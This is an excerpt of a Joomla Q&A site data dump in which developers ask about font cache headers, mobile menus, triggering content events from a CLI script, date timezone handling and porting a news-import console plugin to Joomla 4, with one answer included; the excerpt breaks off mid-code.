  <row Id="33345" PostTypeId="1" CreationDate="2023-09-13T11:50:47.463" Score="0" ViewCount="11" Body="&lt;p&gt;My site is very good I think in pagespeed&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.glansbeton.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.glansbeton.be&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I have a problem with my 2 fonts&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://pagespeed.web.dev/analysis/https-www-glansbeton-be/l7cuaewka9?form_factor=mobile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pagespeed.web.dev/analysis/https-www-glansbeton-be/l7cuaewka9?form_factor=mobile&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The cache TTL is now none, how can I make this to for example one year?&lt;/p&gt;&#xA;" OwnerUserId="17310" LastActivityDate="2023-09-13T11:50:47.463" Title="How can I set Cache TTL for my font files with htacces?" Tags="|joomla-4.x|google|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33346" PostTypeId="1" CreationDate="2023-09-13T13:24:01.257" Score="0" ViewCount="16" Body="&lt;p&gt;I would like to make menu on mobile devices have the same behaviour as Bootstrap menu, right now the menu slides from right to left on mobile, i want to change this to toggle-open from top to bottom as the behaviour from boostrap menu and add some HTML/CSS Customisations to it.&lt;/p&gt;&#xA;" OwnerUserId="17311" LastActivityDate="2023-09-13T13:24:01.257" Title="add bootstrap menu instead of the default menu" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33347" PostTypeId="1" CreationDate="2023-09-13T14:16:30.710" Score="0" ViewCount="104" Body="&lt;p&gt;I have what I thought would be a simple challenge: to automate publishing an article and trigger the onAfterContentSave event for saving the article. This code ultimately has to run within another plugin: Community Builder Auto Actions triggered by a Joomla! 4 Task Scheduler task. For now I am testing this at the command line using a verified working framework loading script.&lt;/p&gt;&#xA;&lt;p&gt;I am not sure what I am doing wrong, but here's the code thus far. The techniques used below (middle to end of code) were obtained elsewhere online.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;include (&amp;quot;joomla-framework.php&amp;quot;);&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;&#xA;// (THIS WORKS) Get the oldest unpublished article whose title includes the word &amp;quot;test&amp;quot; and whose publish date is in the future.&#xA;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&amp;quot;SELECT id FROM `#__content` WHERE title LIKE '%test%' AND state=0 ORDER BY created ASC LIMIT 1;&amp;quot;);&#xA;$articleId = $db-&amp;gt;loadResult();&#xA;&#xA;if ($articleId) // if there isn't one, don't do anything.&#xA;{&#xA;    //  (THIS WORKS) make sure the article is published&#xA;    $article = JTable::getInstance('content');&#xA;    $article-&amp;gt;load($articleId);&#xA;    $article-&amp;gt;state = 1;&#xA;    $article-&amp;gt;store();&#xA;&#xA;    $params = new stdClass();&#xA;/*&#xA;    // (THIS DOESN'T WORK) trigger the onContentAfterSave event for this article&#xA;    PluginHelper::importPlugin('content');&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;triggerEvent('onContentAfterSave', array('com_content.article', &amp;amp;$article, &amp;amp;$params, 0));&#xA;*/&#xA;&#xA;// This doesn't seem to work either, but it was my last attempt&#xA;$dispatcher = Joomla\CMS\Factory::getApplication()-&amp;gt;getDispatcher();&#xA;$event = new Joomla\Event\Event('onContentAfterSave', array('com_content.article', &amp;amp;$article, &amp;amp;$params, 0));&#xA;$res = $dispatcher-&amp;gt;dispatch('onContentAfterSave', $event);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The idea here is to trigger onContentAfterSave on the identified article, which has a custom field (flag) telling one of my plugins to send an email containing the article. That plugin works perfectly when saving a published article in either the site front or back end, but I need to be able to trigger it from a Task Scheduler cronjob.&lt;/p&gt;&#xA;&lt;p&gt;Any assistance would be truly appreciated. Thanks in advance!&lt;/p&gt;&#xA;&lt;p&gt;P.S. No errors are occurring with either of the two above triggering methods.&lt;/p&gt;&#xA;&lt;p&gt;Edit: Looking around a bit more, I think that first method was along the right line. Here's what I think that last part should look like. Note that this doesn't trigger the event either.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// trigger the onContentAfterSave event for this article (THIS DOESN'T WORK)&#xA;Factory::getApplication()-&amp;gt;triggerEvent('onContentAfterSave', ['com_content.article', &amp;amp;$article, false, array()]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Bruce&lt;/p&gt;&#xA;" OwnerUserId="17312" LastEditorUserId="17312" LastEditDate="2023-09-14T01:23:57.430" LastActivityDate="2024-02-12T19:01:05.173" Title="PHP: Need to know how to trigger onContentAfterSave on existing article" Tags="|php|joomla-4.x|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33349" PostTypeId="1" CreationDate="2023-09-14T17:13:29.183" Score="0" ViewCount="30" Body="&lt;p&gt;Why is turning a date &lt;code&gt;-&amp;gt;toSql&lt;/code&gt; losing the timezone value?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var_dump(Factory::getDate('now', $this-&amp;gt;app-&amp;gt;get('offset'))-&amp;gt;toSql());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2023-09-14 17:10:04&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;var_dump(Factory::getDate('now', $this-&amp;gt;app-&amp;gt;get('offset')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2023-09-14 19:10:04.627966&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="12352" LastEditDate="2023-10-17T22:19:36.553" LastActivityDate="2024-03-16T05:02:20.287" Title="Factory::getDate('now', $this-&gt;app-&gt;get('offset'))-&gt;toSql() is losing timezone?" Tags="|date|jfactory|format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33350" PostTypeId="1" AcceptedAnswerId="33367" CreationDate="2023-09-14T21:17:03.483" Score="0" ViewCount="149" Body="&lt;p&gt;I have been using this &lt;a href=&quot;https://docs.joomla.org/J4.x:Writing_A_CLI_Application#Files_in_this_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;doc&lt;/a&gt; to convert a client's CLi news import script from Joomla 3 to 4. The code has been stripped of all the JSON to article code for brevity.&lt;/p&gt;&#xA;&lt;p&gt;I have gone over all of my code and files, but cannot figure out why the issue is occurring. I had tested the plugin using the Hello World example and it worked without issues. I used the same code with updated names and other details, but this is when the issues started to occur.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Error output from the terminal when running php joomla.php from within the cli directory&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Symfony\Component\ErrorHandler\Error\ClassNotFoundError^ {#997&#xA;  #message: &amp;quot;&amp;quot;&amp;quot;&#xA;  Attempted to load class &amp;quot;DtnnewsConsolePlugin&amp;quot; from namespace &amp;quot;Ploszmarketing\Plugin\Console\Dtnnews\Extension&amp;quot;.\n&#xA;  Did you forget a &amp;quot;use&amp;quot; statement for another namespace?&#xA;  &amp;quot;&amp;quot;&amp;quot;&#xA;#code: 0&#xA;#file: &amp;quot;/var/www/upgrade/plugins/console/dtnnews_cli/services/provider.php&amp;quot;&#xA;#line: 29&#xA;trace: {&#xA;  /var/www/upgrade/plugins/console/dtnnews_cli/services/provider.php:29 {&#xA;    Joomla\DI\ServiceProviderInterface@anonymous\x00/var/www/upgrade/plugins/console/dtnnews_cli/services/provider.php:17$aa-&amp;gt;{closure}^&#xA;    › $dispatcher = $container-&amp;gt;get(DispatcherInterface::class);&#xA;    › $plugin     = new DtnnewsConsolePlugin(&#xA;    › $dispatcher,&#xA;  }&#xA;  /var/www/upgrade/libraries/vendor/joomla/di/src/ContainerResource.php:182 { …}&#xA;  /var/www/upgrade/libraries/vendor/joomla/di/src/Container.php:96 { …}&#xA;  /var/www/upgrade/libraries/src/Extension/ExtensionManagerTrait.php:177 { …}&#xA;  /var/www/upgrade/libraries/src/Extension/ExtensionManagerTrait.php:99 { …}&#xA;  /var/www/upgrade/libraries/src/Plugin/PluginHelper.php:232 { …}&#xA;  /var/www/upgrade/libraries/src/Plugin/PluginHelper.php:192 { …}&#xA;  /var/www/upgrade/libraries/src/Application/ConsoleApplication.php:257 { …}&#xA;  /var/www/upgrade/cli/joomla.php:76 { …}&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_dtnnews_cli &amp;gt; services &amp;gt; provider.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package  dtnnews_cli&#xA; * @copyright  Copyright (c) 2007 - Now Imagine Creative. All rights reserved.&#xA; * @license  GNU General Public License version 3, or later&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Extension\PluginInterface;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\Event\DispatcherInterface;&#xA;use Ploszmarketing\Plugin\Console\Dtnnews\Extension\DtnnewsConsolePlugin;&#xA;&#xA;return new class implements ServiceProviderInterface {&#xA;/**&#xA;* Registers the service provider with a DI container.&#xA;* @param   Container  $container  The DI container.&#xA;* @return  void&#xA;* @since   4.2.0&#xA;*/&#xA;public function register(Container $container) {&#xA;  $container-&amp;gt;set(&#xA;    PluginInterface::class,&#xA;    function (Container $container) {&#xA;      $dispatcher = $container-&amp;gt;get(DispatcherInterface::class);&#xA;      $plugin     = new DtnnewsConsolePlugin(&#xA;        $dispatcher,&#xA;        (array) PluginHelper::getPlugin('console', 'dtnnews_cli')&#xA;      );&#xA;      return $plugin;&#xA;    }&#xA;  );&#xA;}&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_dtnnews_cli &amp;gt; src &amp;gt; CliCommand &amp;gt; RunDtnnewsCommand.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package  dtnnews_cli&#xA; * @copyright  Copyright (c) 2007 - Now Imagine Creative. All rights reserved.&#xA; * @license  GNU General Public License version 3, or later&#xA; */&#xA;&#xA; namespace Ploszmarketing\Plugin\Console\Dtnnews\CliCommand;&#xA;&#xA; defined('_JEXEC') or die;&#xA;&#xA; use Joomla\CMS\Factory;&#xA; use Symfony\Component\Console\Input\InputInterface;&#xA; use Symfony\Component\Console\Output\OutputInterface;&#xA; use Symfony\Component\Console\Style\SymfonyStyle;&#xA; use Joomla\Console\Command\AbstractCommand;&#xA;&#xA; class RunDtnnewsCommand extends AbstractCommand {&#xA; /**&#xA;  * The default command name&#xA;  *&#xA;  * @var    string&#xA;  * @since  4.0.0&#xA;  */&#xA;  protected static $defaultName = 'dtn:import';&#xA;&#xA;  /**&#xA;   * Internal function to execute the command.&#xA;   *&#xA;   * @param   InputInterface   $input   The input to inject into the command.&#xA;   * @param   OutputInterface  $output  The output to inject into the command.&#xA;   *&#xA;   * @return  integer  The command exit code&#xA;   *&#xA;   * @since   4.0.0&#xA;   */&#xA;   protected function doExecute(InputInterface $input, OutputInterface $output): int {&#xA;     $symfonyStyle = new SymfonyStyle($input, $output);&#xA;&#xA;     $symfonyStyle-&amp;gt;title('DTN News Command Title');&#xA;&#xA;     // You might want to do some stuff here in Joomla&#xA;&#xA;     $symfonyStyle-&amp;gt;success('Successful import!');&#xA;&#xA;     return 0;&#xA;   }&#xA;&#xA;   /**&#xA;    * Configure the command.&#xA;    *&#xA;    * @return  void&#xA;    *&#xA;    * @since   4.0.0&#xA;    */&#xA;   protected function configure(): void {&#xA;     $this-&amp;gt;setDescription('This command prints hello world to whoever calls it');&#xA;     $this-&amp;gt;setHelp(&#xA;       &amp;lt;&amp;lt;&amp;lt;EOF&#xA;       The &amp;lt;info&amp;gt;%command.name%&amp;lt;/info&amp;gt; command prints hello world to whoever calls it&#xA;       &amp;lt;info&amp;gt;php %command.full_name%&amp;lt;/info&amp;gt;&#xA;       EOF&#xA;     );&#xA;   }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_dtnnews_cli &amp;gt; src &amp;gt; Extension &amp;gt; DtnnewsConsolePlugin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package  dtnnews_cli&#xA; * @copyright  Copyright (c) 2007 - Now Imagine Creative. All rights reserved.&#xA; * @license  GNU General Public License version 3, or later&#xA; */&#xA;&#xA; namespace Ploszmarketing\Plugin\Console\Dtnnews\Extension;&#xA;&#xA; defined('_JEXEC') or die;&#xA;&#xA; use Joomla\CMS\Plugin\CMSPlugin;&#xA; use Joomla\Event\SubscriberInterface;&#xA; use Joomla\Application\ApplicationEvents;&#xA; use Joomla\CMS\Factory;&#xA; use Ploszmarketing\Plugin\Console\Dtnnews\CliCommand\RunDtnnewsCommand;&#xA;&#xA; class DtnnewsConsolePlugin extends CMSPlugin implements SubscriberInterface {&#xA;   public static function getSubscribedEvents(): array {&#xA;     return [&#xA;       \Joomla\Application\ApplicationEvents::BEFORE_EXECUTE =&amp;gt; 'registerCommands',&#xA;     ];&#xA;   }&#xA;&#xA;   public function registerCommands(): void {&#xA;     $app = Factory::getApplication();&#xA;     $app-&amp;gt;addCommand(new RunDtnnewsCommand());&#xA;   }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;plg_dtnnews_cli &amp;gt; dtnnews_cli.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;!--&#xA;@package  dtnnews_cli&#xA;@copyright  Copyright (c) 2007 - Now Imagine Creative. All rights reserved.&#xA;@license  GNU General Public License version 3, or later&#xA;--&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;console&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;  &amp;lt;name&amp;gt;DTN News Import&amp;lt;/name&amp;gt;&#xA;  &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;  &amp;lt;creationDate&amp;gt;2023-09-07&amp;lt;/creationDate&amp;gt;&#xA;  &amp;lt;author&amp;gt;Michael Hermary&amp;lt;/author&amp;gt;&#xA;  &amp;lt;authorEmail&amp;gt;hidden&amp;lt;/authorEmail&amp;gt;&#xA;  &amp;lt;authorUrl&amp;gt;hidden&amp;lt;/authorUrl&amp;gt;&#xA;  &amp;lt;copyright&amp;gt;Copyright (c) 2007 - Now Imagine Creative&amp;lt;/copyright&amp;gt;&#xA;  &amp;lt;license&amp;gt;GNU General Public License version 3, or later&amp;lt;/license&amp;gt;&#xA;  &amp;lt;description&amp;gt;This console plugin uses the CLi and the DTN News API to import items into the Article Manager&amp;lt;/description&amp;gt;&#xA;  &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Ploszmarketing\Plugin\Console\Dtnnews&amp;lt;/namespace&amp;gt;&#xA;  &amp;lt;files&amp;gt;&#xA;    &amp;lt;folder plugin=&amp;quot;dtnnews_cli&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;filename&amp;gt;.htaccess&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PHP 8.2 for the CLi.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2023-09-19T10:04:15.187" Title="PHP load class from namespace error" Tags="|php|joomla-4.x|cli|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33351" PostTypeId="2" ParentId="33347" CreationDate="2023-09-15T09:33:09.200" Score="0" Body="&lt;p&gt;Assuming you're using CliApplication it's maybe the case that it doesn't get everything it needs out of the Dependency Injection container. (I know that it doesn't get the JConfig params for example).&lt;/p&gt;&#xA;&lt;p&gt;I suggest you try the following. Instead of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;try doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dic = Factory::getContainer();&#xA;$app = $dic-&amp;gt;get('Joomla\CMS\Application\ConsoleApplication');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For a proper solution you'd be best to go down the route of writing a &lt;a href=&quot;https://docs.joomla.org/J4.x:Writing_A_CLI_Application&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 4 CLI Application&lt;/a&gt; though.&lt;/p&gt;&#xA;&lt;p&gt;Update -------------------------------------&lt;/p&gt;&#xA;&lt;p&gt;The other thing you could try would be to enclose your code after including your joomla-framework.php within a class which extends Joomla\CMS\Application\CliApplication:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Application\CliApplication;&#xA;&#xA;class Testapp extends CliApplication&#xA;{&#xA;    public function doExecute()&#xA;    {&#xA;        Factory::$application = $this;  // you probably need this&#xA;        $dic = Factory::getContainer();&#xA;        $app = $dic-&amp;gt;get('Joomla\CMS\Application\ConsoleApplication');&#xA;        Factory::$application = $app;  // you might need this too&#xA;        //etc&#xA;    }&#xA;&#xA;    public function getName()   // you need to specify this function&#xA;    {&#xA;        return &amp;quot;test&amp;quot;;  // doesn't matter what you set&#xA;    }&#xA;}&#xA;&#xA;CliApplication::getInstance('Testapp')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2023-09-15T18:08:03.993" LastActivityDate="2023-09-15T18:08:03.993" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33352" PostTypeId="1" CreationDate="2023-09-15T21:16:48.090" Score="0" ViewCount="68" Body="&lt;p&gt;I am upgrading a client's CLi script that is used to automatically bulk import news items into Joomla articles. The code was originally programmed for Joomla 3 and now needs to support Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;I have completed quite a few upgrades, but am now stuck looping through the news item data and storing it using the &lt;code&gt;Content::getInstance('Article', 'ContentModel')&lt;/code&gt; method. I have included my code below for reference.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated September 18&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Current use statements&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\Component\Content\Administrator\Model\ArticleModel;&#xA;use Joomla\CMS\Table\Content;&#xA;use Joomla\CMS\Filter\OutputFilter;&#xA;use Symfony\Component\Console\Input\InputInterface;&#xA;use Symfony\Component\Console\Output\OutputInterface;&#xA;use Symfony\Component\Console\Style\SymfonyStyle;&#xA;use Joomla\Console\Command\AbstractCommand;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Use of &lt;code&gt;$app = Factory::getApplication();&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Current &lt;code&gt;insertArticles&lt;/code&gt; function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private function insertArticles(array $articles): array {&#xA;&#xA;  $articleModel = new ArticleModel();&#xA;&#xA;  foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article) {&#xA;    $articleData = [&#xA;      'id' =&amp;gt; 0,&#xA;      'catid' =&amp;gt; 13,&#xA;      'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;      'alias' =&amp;gt; OutputFilter::stringURLSafe($article-&amp;gt;title),&#xA;      'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary, ['p', 'img', 'table']),&#xA;      'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content, ['p', 'img', 'table']),&#xA;      'note' =&amp;gt; 'DTN supplied topics: ' . str_replace('/', ', ', $article-&amp;gt;topic),&#xA;      'state' =&amp;gt; 1,&#xA;      'access' =&amp;gt; 1,&#xA;      'created_by' =&amp;gt; 386,&#xA;      'created_by_alias' =&amp;gt; 'DTN News',&#xA;      'language' =&amp;gt; '*',&#xA;      'metadata' =&amp;gt; [&#xA;        'xreference' =&amp;gt; $article-&amp;gt;dtnpfUrl,&#xA;      ],&#xA;      'attribs' =&amp;gt; [&#xA;        'show_publish_date' =&amp;gt; 1,&#xA;      ],&#xA;      'rules' =&amp;gt; [&#xA;        'core.edit.delete' =&amp;gt; [],&#xA;        'core.edit.edit' =&amp;gt; [],&#xA;        'core.edit.state' =&amp;gt; []&#xA;      ],&#xA;    ];&#xA;&#xA;    if (!$articleModel-&amp;gt;save($articleData)) {&#xA;      throw new Exception($articleModel-&amp;gt;getError());&#xA;    } else {&#xA;      $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;    }&#xA;  }&#xA;  return $newIds ?? [];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Included use statements from the command file for reference:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\MVC\Model\ItemModel;&#xA;use Joomla\Component\Content\Site\Model;&#xA;use Joomla\CMS\Table\Content;&#xA;use Joomla\CMS\Filter\OutputFilter;&#xA;use Symfony\Component\Console\Input\InputInterface;&#xA;use Symfony\Component\Console\Output\OutputInterface;&#xA;use Symfony\Component\Console\Style\SymfonyStyle;&#xA;use Joomla\Console\Command\AbstractCommand;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Command line error&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Class &amp;quot;Ploszmarketing\Plugin\Console\Dtnnews\CliCommand\ArticleModel&amp;quot; not found&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function doExecute(InputInterface $input, OutputInterface $output): int {&#xA;  $symfonyStyle = new SymfonyStyle($input, $output);&#xA;&#xA;  $symfonyStyle-&amp;gt;title('DTN News Import');&#xA;&#xA;  // Fetch the JSON data and Run the insertArticle bulk data import to articles function&#xA;  $curlOpts = [&#xA;    CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=1%2C2%2C3%2C4%2C5%2C6%2C16%2C17&amp;amp;limit=10&amp;amp;maxAge=15&amp;amp;apikey=placeholder',&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;    CURLOPT_ENCODING =&amp;gt; '',&#xA;    CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;    CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;    CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;  ];&#xA;&#xA;  try {&#xA;    $fetchedArticles = $this-&amp;gt;curlToObject($curlOpts);&#xA;  &#xA;    if ($fetchedArticles) {&#xA;      $symfonyStyle-&amp;gt;title(Text::_('Fetched Articles: ' . count($fetchedArticles)));&#xA;    }&#xA;  &#xA;    // Errors occur here&#xA;    $insertedIds = $this-&amp;gt;insertArticles($fetchedArticles);&#xA;  &#xA;    if ($insertedIds) {&#xA;      $symfonyStyle-&amp;gt;title(Text::_('Inserted IDs: ' . implode(', ', $insertedIds)));&#xA;    }&#xA;  &#xA;  } catch (exception $e) {&#xA;    $symfonyStyle-&amp;gt;error(Text::_($e-&amp;gt;getMessage()));&#xA;  }&#xA;&#xA;  $symfonyStyle-&amp;gt;success('Successful import!');&#xA;&#xA;  return 0;&#xA;&#xA;}&#xA;&#xA;private function curlToObject(array $curlOpts): array {&#xA;  $ch = curl_init();&#xA;  curl_setopt_array($ch, $curlOpts);&#xA;  $result = curl_exec($ch);&#xA;  $error = curl_error($ch); // Get the last error&#xA;  curl_close($ch);&#xA;  if ($error) {&#xA;    throw new Exception($error);&#xA;  }&#xA;  return json_decode($result);&#xA;}&#xA;&#xA;private function insertArticles(array $articles): array {&#xA;  // Replaced articleModel method with recommendation&#xA;  // $articleModel = Content::getInstance('Article', 'ContentModel');&#xA;  $articleModel = new ArticleModel();&#xA;&#xA;  foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article) {&#xA;    $articleData = [&#xA;      'id' =&amp;gt; 0,&#xA;      'catid' =&amp;gt; 13,&#xA;      'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;      'alias' =&amp;gt; OutputFilter::stringURLSafe($article-&amp;gt;title),&#xA;      // I know strip_tags is deprecated for 8.2. I will fix after issues are resolved.&#xA;      'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary, ['p', 'img', 'table']),&#xA;      'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content, ['p', 'img', 'table']),&#xA;      'note' =&amp;gt; 'DTN supplied topics: ' . str_replace('/', ', ', $article-&amp;gt;topic),&#xA;      'state' =&amp;gt; 1,&#xA;      'access' =&amp;gt; 1,&#xA;      'created_by' =&amp;gt; 386,&#xA;      'created_by_alias' =&amp;gt; 'DTN News',&#xA;      'language' =&amp;gt; '*',&#xA;      'metadata' =&amp;gt; [&#xA;        'xreference' =&amp;gt; $article-&amp;gt;dtnpfUrl,&#xA;      ],&#xA;      'attribs' =&amp;gt; [&#xA;        'show_publish_date' =&amp;gt; 1,&#xA;      ],&#xA;      'rules' =&amp;gt; [&#xA;        'core.edit.delete' =&amp;gt; [],&#xA;        'core.edit.edit' =&amp;gt; [],&#xA;        'core.edit.state' =&amp;gt; []&#xA;      ],&#xA;    ];&#xA;&#xA;    if (!$articleModel-&amp;gt;save($articleData)) {&#xA;      throw new Exception($articleModel-&amp;gt;getError());&#xA;    } else {&#xA;      $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;    }&#xA;  }&#xA;  return $newIds ?? [];&#xA;}&#xA;&#xA;private function removeDuplicateAliases(array $articles): array {&#xA;  $db = JFactory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query&#xA;    -&amp;gt;select('a.alias')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.catid') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('13'));&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $aliasLookup = array_flip($db-&amp;gt;loadColumn());&#xA;&#xA;  foreach ($articles as $i =&amp;gt; $article) {&#xA;    if (isset($aliasLookup[OutputFilter::stringURLSafe($article-&amp;gt;title)])) {&#xA;      unset($articles[$i]);&#xA;    }&#xA;  }&#xA;  return $articles;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error in the command line: &lt;code&gt;Call to a member function save() on bool&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exception trace:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; at /var/www/upgrade/plugins/console/dtnnews_cli/src/CliCommand/RunDtnnewsCommand.php:126&#xA; Ploszmarketing\Plugin\Console\Dtnnews\CliCommand\RunDtnnewsCommand-&amp;gt;insertArticles() at /var/www/upgrade/plugins/console/dtnnews_cli/src/CliCommand/RunDtnnewsCommand.php:68&#xA; Ploszmarketing\Plugin\Console\Dtnnews\CliCommand\RunDtnnewsCommand-&amp;gt;doExecute() at /var/www/upgrade/libraries/vendor/joomla/console/src/Command/AbstractCommand.php:235&#xA; Joomla\Console\Command\AbstractCommand-&amp;gt;execute() at /var/www/upgrade/libraries/vendor/joomla/console/src/Application.php:1181&#xA; Joomla\Console\Application-&amp;gt;runCommand() at /var/www/upgrade/libraries/vendor/joomla/console/src/Application.php:403&#xA; Joomla\Console\Application-&amp;gt;doExecute() at /var/www/upgrade/libraries/src/Application/ConsoleApplication.php:206&#xA; Joomla\CMS\Application\ConsoleApplication-&amp;gt;doExecute() at /var/www/upgrade/libraries/vendor/joomla/console/src/Application.php:448&#xA; Joomla\Console\Application-&amp;gt;execute() at /var/www/upgrade/libraries/src/Application/ConsoleApplication.php:259&#xA; Joomla\CMS\Application\ConsoleApplication-&amp;gt;execute() at /var/www/upgrade/cli/joomla.php:76&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am unsure of how to handle the &lt;code&gt;for loop&lt;/code&gt; with the new model in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla 3 insertArticles function is below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private function insertArticles(array $articles): array {&#xA;  require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;  $articleModel = new 